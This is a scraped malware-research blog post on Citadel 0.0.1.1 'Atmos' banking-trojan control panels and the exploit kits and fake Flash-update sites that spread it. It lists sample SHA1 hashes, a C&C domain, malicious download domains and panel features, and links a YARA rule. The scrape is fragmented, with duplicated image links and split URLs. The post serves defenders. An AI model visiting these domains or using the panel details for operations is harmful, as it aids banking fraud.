https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw13pSslNilImVo-pbTZVnUhAE0xEGjr39cvfMBpa35-7keE4gGY0TlHDk9IzbLe47DW06Zp1WbJhbv3hMkBTmN7Ar67hEeyFmU5yxvdUvlZQ5_pnAzDefwDvoGzXRXB3rrpILtdN6IQk/s1600/2015-11-02_17-25-56.png


Iframe lead on a Keitaros TDS who lead on malware:

That right, second one is a blackhole exploit kit.

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOMhDdRWZ9VwXc4CkE-FD83toNRVhtCZMyyYkIh-HrXdbg-nzFjV36X_pk975vhOxe90xiKjmbmpBclQhWOAE3_bnxVTCVPvIlIBPRjzCcaUeruNpr0tINhq0DEOC8T3xUfItRQdvQzeo/s1600/2015-11-02_20-05-17.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjnOtvH2RxTEc-blqs1tM9Z4pBsLJaGXprdGjaACJZlbodPWHc_870RMljNar8BRyeDICkU4SIwe73jbf3SEzZ9dw0w2J0FtIIEJEB31ujaKkjDFHZqzymC_y8uJpLowqUv1fp2RrYOFI/s1600/2015-11-22_14-59-50.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjnOtvH2RxTEc-blqs1tM9Z4pBsLJaGXprdGjaACJZlbodPWHc_870RMljNar8BRyeDICkU4SIwe73jbf3SEzZ9dw0w2J0FtIIEJEB31ujaKkjDFHZqzymC_y8uJpLowqUv1fp2RrYOFI/s1600/2015-11-22_14-59-50.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPc_262ZYR73-Mw3TPTRoDQt0XotDSen4ihTsja1G_QtXV4h-XwmkIqyJ4L5a5NdXAocj76sCfYnX7ltOfWJ_lehs3j6yuZek1Gmju6YASw2ryUNFDItDxAiOXsAKnASejLyv2m17jYyw/s1600/2015-11-22_15-00-51.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPc_262ZYR73-Mw3TPTRoDQt0XotDSen4ihTsja1G_QtXV4h-XwmkIqyJ4L5a5NdXAocj76sCfYnX7ltOfWJ_lehs3j6yuZek1Gmju6YASw2ryUNFDItDxAiOXsAKnASejLyv2m17jYyw/s1600/2015-11-22_15-00-51.png


Jérôme Segura of MalwareBytes have wrote about this one here: https://blog.malwarebytes.org/exploits-

2/2015/11/blast-from-the-past-blackhole-exploit-kit-resurfaces-in-live-attacks/
First one is RIG exploit kit delivering Chthonic targeting Russia and Ukraine.

And for update-flashplayer.ml, update-flash-security.ml, they lead to iBanking download.

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg9Vc5NyFn32qEgexiznCewbU5fllBhexYt6tVwD-uoo_xjTmzWHO_p5Cp9SrlQAcYkj7FCTGvTDchjcN-U0HIbXUmwh4I19qh2mwTy-0TznZZm2RSO9yRvYuVOjiC5z7XCo4xUntWuI0/s1600/2015-11-22_15-03-23.png
https://blog.malwarebytes.org/exploits-2/2015/11/blast-from-the-past-blackhole-exploit-kit-resurfaces-in-live-attacks/
https://blog.malwarebytes.org/exploits-2/2015/11/blast-from-the-past-blackhole-exploit-kit-resurfaces-in-live-attacks/
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEh-Jjp1BQpt_DAlO4K2l0A5DSgVmTmpn3RhK3QQi_XiU-K0KOjtiNj-mqEBIa6DOe59K5Ey1h4bnUU5wzPjnjahmMCfhWec1lbFJ4HhNm1TuRDMdkXYFwH_psC10JfUg1iAptXNU7WZw/s1600/2015-11-22_17-16-46.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEh-Jjp1BQpt_DAlO4K2l0A5DSgVmTmpn3RhK3QQi_XiU-K0KOjtiNj-mqEBIa6DOe59K5Ey1h4bnUU5wzPjnjahmMCfhWec1lbFJ4HhNm1TuRDMdkXYFwH_psC10JfUg1iAptXNU7WZw/s1600/2015-11-22_17-16-46.png


SHA1: E536E23409EBF015C500D5799AD8C70787125E95

CNC at templatehtml.ru

To get back on the original subject, here is the File hunter:

Downloaded:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHZEP8JuSl4E8yQoyAks_ucmk4CJg46o9IS2mCcx6gfyvuyymHyk2diBN5bC_Dr4gQdVS9CTNaNYieAMd4hpeqYhhR4CFEYvI5v9nRSdDF04T97ajUCjE5s2xMARnHh1YlEBq7q834Jm0/s1600/2015-11-22_16-53-18.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw7kWQoopquqFkQ87i9g4TpYv2yYfyu1wsmY5gHDHj67OGg1tn9ZUbtdXjNH44hCWmLoCmCrwYzEoJwKLZSGPa9rabUGreCXA1VoHeKHMZkpXx6qfhrNLrkLsBaBwoHriClNOGugyEIn8/s1600/2015-11-02_17-32-47.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw7kWQoopquqFkQ87i9g4TpYv2yYfyu1wsmY5gHDHj67OGg1tn9ZUbtdXjNH44hCWmLoCmCrwYzEoJwKLZSGPa9rabUGreCXA1VoHeKHMZkpXx6qfhrNLrkLsBaBwoHriClNOGugyEIn8/s1600/2015-11-02_17-32-47.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrLtWWwNPgSC-Qm8tPF89mQAa4wAjryDfwOhcEsYY1rZLyn6dvaFpQSTvhpikHF_cjTpYe5n6FYG9_tH3zDtcQtfeurNbOg3pduKgggyPwbIxXn_Pb9m2Meli-KPEX3uUfeSVY6io_0aM/s1600/2015-11-03_23-23-47.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrLtWWwNPgSC-Qm8tPF89mQAa4wAjryDfwOhcEsYY1rZLyn6dvaFpQSTvhpikHF_cjTpYe5n6FYG9_tH3zDtcQtfeurNbOg3pduKgggyPwbIxXn_Pb9m2Meli-KPEX3uUfeSVY6io_0aM/s1600/2015-11-03_23-23-47.png


Trash:

Mailer:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFjibZnO5I-cwKfAaJO4574NbjRSiFY-OpmUuxScUJY-trs5W9FaDk7wjDznehN8b9WtdL7pdolrOk24KR3iGKGGzDuMa5Ms7j-rlVew0GE8ol0ghyphenhyphenVgpuoQVpDcbbhd8DZG3YxagNFYQ/s1600/2015-11-02_20-12-21.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijl93LkEzBVM8usKi72JxKkIIM7zufFzpgZqgP5a0Cjy_2hkiB9qqXFkzOP-eqQbmR_WYHT-kdG4HlqHSNOILPGG-L3EkfD8X1lO7QWZViIEB9xkSrcy1vBD8igMv7pQdDZAHkiaNyGmk/s1600/2015-11-02_20-13-39.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijl93LkEzBVM8usKi72JxKkIIM7zufFzpgZqgP5a0Cjy_2hkiB9qqXFkzOP-eqQbmR_WYHT-kdG4HlqHSNOILPGG-L3EkfD8X1lO7QWZViIEB9xkSrcy1vBD8igMv7pQdDZAHkiaNyGmk/s1600/2015-11-02_20-13-39.png


Config:

Mail:
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2wl0uTwP3cT8zF6p6wd3AkANxPb88ofPCQDd9CbwV80d8A9LoXJUv1k2ZOec3ACi2WqcFcrHshD9dmgOlMo8nDJXrvvV50d7O-Bu6dI41ySBLX-MaYXNaoaauNVAaRl02DwbXvN0R7cI/s1600/2015-11-02_17-33-32.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj10lRolKK6kTLeuX86MGKS5Iz28enmOpa5pEhcwd1IXHTycTTJ2iey5wyilrIKHQMhJYC8lExaOSqLDIFZH3tFMp9h88TR8zafIR8_qSKNIqU3kn3xQNHZpZr6Y5kwM4hrXVLm3f_ONIw/s1600/2015-11-02_20-10-05.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj10lRolKK6kTLeuX86MGKS5Iz28enmOpa5pEhcwd1IXHTycTTJ2iey5wyilrIKHQMhJYC8lExaOSqLDIFZH3tFMp9h88TR8zafIR8_qSKNIqU3kn3xQNHZpZr6Y5kwM4hrXVLm3f_ONIw/s1600/2015-11-02_20-10-05.png


Informations:

Options:
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlaJ4f-jgxTEzG4HPYnvs0RfsXyrFaa_yV_c6e5P1xlX2gZ8Y4UqZ-UtZtbdzcVwhqG70PN3N-qVYIT0o2J_NZic7jOgqKitP2vZeXhWoLcoG72UnNpdd1_7P9micuo0Q8nfRPjEVGZ5o/s1600/2015-11-29_16-48-28.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCW3BYly98xYPlsMADjxOUkO39Kbrky1P4IXQ_pi63cMyll9-rkhOV_vaEvJkHvzBGLLJPeDfRQR1lFZjvlEHg4aYUIOtHcTVh73hGhi92N7FEThlDLkXydTUQ52L9Rp400oqZPn9fbeg/s1600/2015-11-02_17-34-01.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCW3BYly98xYPlsMADjxOUkO39Kbrky1P4IXQ_pi63cMyll9-rkhOV_vaEvJkHvzBGLLJPeDfRQR1lFZjvlEHg4aYUIOtHcTVh73hGhi92N7FEThlDLkXydTUQ52L9Rp400oqZPn9fbeg/s1600/2015-11-02_17-34-01.png


Jabber adress:

User:

Users:
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPEac44T9dJ5YBN1tW9VeSsqCvju2QKKhASehbwh9491dkxTtbGVqJegiTmqS9rcyiG0cWPEco5KdtzbjET2RpyAElBTT8HopEJhIF9u3dbqIBl2WMVjq6E_2zYntKiJw93T-odyon584/s1600/2015-11-03_23-32-58.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8DYGqVLjmKpXiyf2OaxJ9d7DC7iD2e2Eta2HCRCJeKRxbgJA1BxxOGjucS1KnoW45sIdNFJCvwAUIMw7NrOSfXJP7IiaJ18zF8da1fweL0UoECdMfat60B1ABDQwe3K_yCP0r7yqjhpU/s1600/2015-11-02_17-36-16.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8DYGqVLjmKpXiyf2OaxJ9d7DC7iD2e2Eta2HCRCJeKRxbgJA1BxxOGjucS1KnoW45sIdNFJCvwAUIMw7NrOSfXJP7IiaJ18zF8da1fweL0UoECdMfat60B1ABDQwe3K_yCP0r7yqjhpU/s1600/2015-11-02_17-36-16.png


Different admins with different rights:

Some users have limited actions, for exemple one guys had only access to malware upload feature, probably to
refresh the crypt.

6 users including the master user is using russian language on the panel, the rest is configured on english
language.

Install:
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTC0r-4LeZa3apvSXp7qAiJotrKpipZQj6qNMgEKzjEJtzO34wBan7BXkgmq4Zn8LMY0v_xmmRmr04ERIMMxrFtVDGuQ8656KyNqiwwtyDcZfO_3-A8NOp07x6-8uMHG8-l8DfSFtld_A/s1600/2015-11-17_13-51-48.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAwEdaHaw3QUhPV9Z013dxvILJno7Mu0tNPKWml3YrY3rtzWzUOlP1v1cEMvT5luiiDRalcKW4DL6BfdQOkTw5v7b0IFUMWpTIDgZ-I4T0GNnJkVB_hw9csZlo-HL2CeY1L0zfenfPzjA/s1600/2015-11-17_13-52-36.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAwEdaHaw3QUhPV9Z013dxvILJno7Mu0tNPKWml3YrY3rtzWzUOlP1v1cEMvT5luiiDRalcKW4DL6BfdQOkTw5v7b0IFUMWpTIDgZ-I4T0GNnJkVB_hw9csZlo-HL2CeY1L0zfenfPzjA/s1600/2015-11-17_13-52-36.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVWfovNpTY0Tn82DgfJ9LPFzCZFv7KgEaiVjXjMbLQGNxOjEJhg0SSemRGA51mrYzxP-QKzb4dBbGVNE7XvF8dBJMgh-BHGkeAdFZs3ePfDdaq3M0nIodqgIYhD7fwAESHphUmp5TdAKY/s1600/2015-11-17_14-01-28.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVWfovNpTY0Tn82DgfJ9LPFzCZFv7KgEaiVjXjMbLQGNxOjEJhg0SSemRGA51mrYzxP-QKzb4dBbGVNE7XvF8dBJMgh-BHGkeAdFZs3ePfDdaq3M0nIodqgIYhD7fwAESHphUmp5TdAKY/s1600/2015-11-17_14-01-28.png


State stats:

Help:

/s2/ panel:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIPBFjrQqtxJS6-ts13z0Shht7792JKn_BqhVmtKxp0PpekhARb88OI6l7KhtIMQZkJM2g15qocZmlLoFp-CKNudecfR81Z_v7_tSNYhyDBJc8LM-8L0AA-SObp8Ak6eX72F60L67HKuM/s1600/2015-11-17_14-06-42.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIPBFjrQqtxJS6-ts13z0Shht7792JKn_BqhVmtKxp0PpekhARb88OI6l7KhtIMQZkJM2g15qocZmlLoFp-CKNudecfR81Z_v7_tSNYhyDBJc8LM-8L0AA-SObp8Ak6eX72F60L67HKuM/s1600/2015-11-17_14-06-42.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk1CWRGmXr4wacpyk1fWKT5n98a9NjF031uFcAYO1u3Nf3nFENw3PKbWvpYy1BoIizJ9NidJTQy5cdiZCF0AD3DD-BVoJ-lHdakawyeUi_Ie8Kg3kW88oYqUOlx-S23hzAZy2VYkuhoeI/s1600/2015-11-17_14-08-41.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk1CWRGmXr4wacpyk1fWKT5n98a9NjF031uFcAYO1u3Nf3nFENw3PKbWvpYy1BoIizJ9NidJTQy5cdiZCF0AD3DD-BVoJ-lHdakawyeUi_Ie8Kg3kW88oYqUOlx-S23hzAZy2VYkuhoeI/s1600/2015-11-17_14-08-41.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDfX5MmPom_p_r202xqhg9NzW-6NfprU-2diBsENnE6Tqsffpt_EUaSLqT8ouVBumGLQL53V518VQqzlLNPa_R9YvGLb-UaSZaBlzPv43iZCgp01lQONwKjU4m0rfUoHvDnaD5YAzW284/s1600/2015-11-17_14-05-07.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDfX5MmPom_p_r202xqhg9NzW-6NfprU-2diBsENnE6Tqsffpt_EUaSLqT8ouVBumGLQL53V518VQqzlLNPa_R9YvGLb-UaSZaBlzPv43iZCgp01lQONwKjU4m0rfUoHvDnaD5YAzW284/s1600/2015-11-17_14-05-07.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqNBEU3hS3Cxof5bPFz0dZkxV5gQ8BN4PyJZUXARGPD7r3AwByG1sP-imRP_dpNnacCa3GVHYc1sjqQ3bkicK8r7Yrlph9OdanMtHG2r-BvKfXvNztQQRUdnBTdiJzCnmFs8tvNqoqVAM/s1600/2015-11-17_14-09-30.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqNBEU3hS3Cxof5bPFz0dZkxV5gQ8BN4PyJZUXARGPD7r3AwByG1sP-imRP_dpNnacCa3GVHYc1sjqQ3bkicK8r7Yrlph9OdanMtHG2r-BvKfXvNztQQRUdnBTdiJzCnmFs8tvNqoqVAM/s1600/2015-11-17_14-09-30.png


/s3/ panel:

Pony used by one member of the gang:

Browser logs:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn-cD7sIXJQxc2eG5HOxG-Fa5EFeLUwl1WSYLps9pwhw2GVyqgL4CXLUE7Y1TO3GLfv8482DBAwHSMDi3VSkkd3JTnuknN23v4W3xx8Yrvqf8xp246Lv6-cHF75WYNlSnpp3BqXPIU-pI/s1600/2015-11-17_14-10-40.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn-cD7sIXJQxc2eG5HOxG-Fa5EFeLUwl1WSYLps9pwhw2GVyqgL4CXLUE7Y1TO3GLfv8482DBAwHSMDi3VSkkd3JTnuknN23v4W3xx8Yrvqf8xp246Lv6-cHF75WYNlSnpp3BqXPIU-pI/s1600/2015-11-17_14-10-40.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4s5ekEJW4jGRcg89T4kwrYJWZk03ldnAN5PqRwrxqTe3yoV7gG-8v0edgfj4Z09PABQvIBWBWYoEroJ-a6fwLzsO8mgNmvAhJltwMsdAi8shp2Qw6g8zdpQpnSH-JlB543QqrXXJoBPA/s1600/2015-11-05_03-27-28.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4s5ekEJW4jGRcg89T4kwrYJWZk03ldnAN5PqRwrxqTe3yoV7gG-8v0edgfj4Z09PABQvIBWBWYoEroJ-a6fwLzsO8mgNmvAhJltwMsdAi8shp2Qw6g8zdpQpnSH-JlB543QqrXXJoBPA/s1600/2015-11-05_03-27-28.png


Citadel 0.0.1.1 samples:

A7D98B79FBDD7EFEBE4945F362D8A233A84D0E8D
C286C31ECC7119DD332F2462C75403D36951D79F

D399AEDA9670073E522B17B37201A1116F7D2B94
BFD9251E135D63F429641804C9A52568A83831CA
2E28E9ACAC691A40B8FAF5A95B9C92AF0947726F

5CAC9972BB247502E700735067B3A37E70C90278
959F8A78868FFE89CD4A0FD6F92D781085584E95

2716D3DE18616DBAB4B159BACE2F2285DA358C84
450A638957147A62CA9049830C3452B703875AEE
7C90F27C0640188EA5CF2498BF5964FF6788E79C

14C0728175B26446B7F140035612E303C15502CB
267DA16EC9B114ED5D9F5DEE07C2BF77D4CFD5E6
E6DD260168D6B1B29A03DF1BA875C9065B146CF3

963FE9DCEDA3A4552FAA88BABD4E9954B05C83D2
4F6AE5803C2C3EE49D11DAB48CA848F82AE31C16

8BBFA46A2ADCDF0933876EF920826AB0B02FCC18

Decrypted Citadel plugins:
B3FDC0DAFA7C0A2076AB4D42317A0E0BAAF3BA78

0B40F80C025C199F7D940BED572EA08ADE2D52F9
3B004C68C32C13CAF7F9519B6F7868BF99771F30

Hidden VNC demo: https://www.youtube.com/watch?v=TDOZfalD_LY

Atmos package:
056709A96FE05793B3544ACB4413A9EF827DCEEF

C1B79552B6F770D96B0A0C25C8C8FD87D6D629B9

Other samples (not Atmos):

02FFC98E2B5495E9C760BDA1D855DCA48A754243

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxm9CceaWIBl5uxXWt3_-n03tQzGygJ2_W_galgI18p56PcwHUAx7GDK-xr70MJ8Lza-PJnDTvUxb18j0qAv6hEBUXIirGOje2-68C-XgNGKV_goD8KvVGAI0c7HrxexbYbFKFm7mQc14/s1600/2015-11-05_03-29-44.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxm9CceaWIBl5uxXWt3_-n03tQzGygJ2_W_galgI18p56PcwHUAx7GDK-xr70MJ8Lza-PJnDTvUxb18j0qAv6hEBUXIirGOje2-68C-XgNGKV_goD8KvVGAI0c7HrxexbYbFKFm7mQc14/s1600/2015-11-05_03-29-44.png
https://www.youtube.com/watch?v=TDOZfalD_LY


B7AE6D5026C776F123BFC9DAECC07BD872C927B4
56B58A03ADB175886FBCA449CDB73BE2A82D6FEF

Some other atmos sample (Courtesy of Kafeine):
8BBFA46A2ADCDF0933876EF920826AB0B02FCC18

DAABF498242018E3EE16513E2A789D397141C7AC
04F599D501EA656FB995D1BFA4367F5939631881

You can find my yara rules for mitigating Atmos here: https://github.com/Yara-

Rules/rules/blob/master/malware/MALW_Atmos.yar
The Google Chrome injections appear to work from v25.0.1349.2 (2012/12/06), till v43.0.2357.134 (2015/07/14)

Fun thing: I got correlations with a CoreBot sample and their webinjects used.
ch_new, wf2, cu_main, citi_new, ebay_new, [...]
Same kind of campaign inside their panels and same custom file names.

if you look for more infos about Citadel, the community did a great work here
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1465

継続は力なり

Source: http://www.xylibox.com/2016/02/citadel-0011-atmos.html

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://github.com/Yara-Rules/rules/blob/master/malware/MALW_Atmos.yar
https://github.com/Yara-Rules/rules/blob/master/malware/MALW_Atmos.yar
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4138&p=27388#p27388
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1465

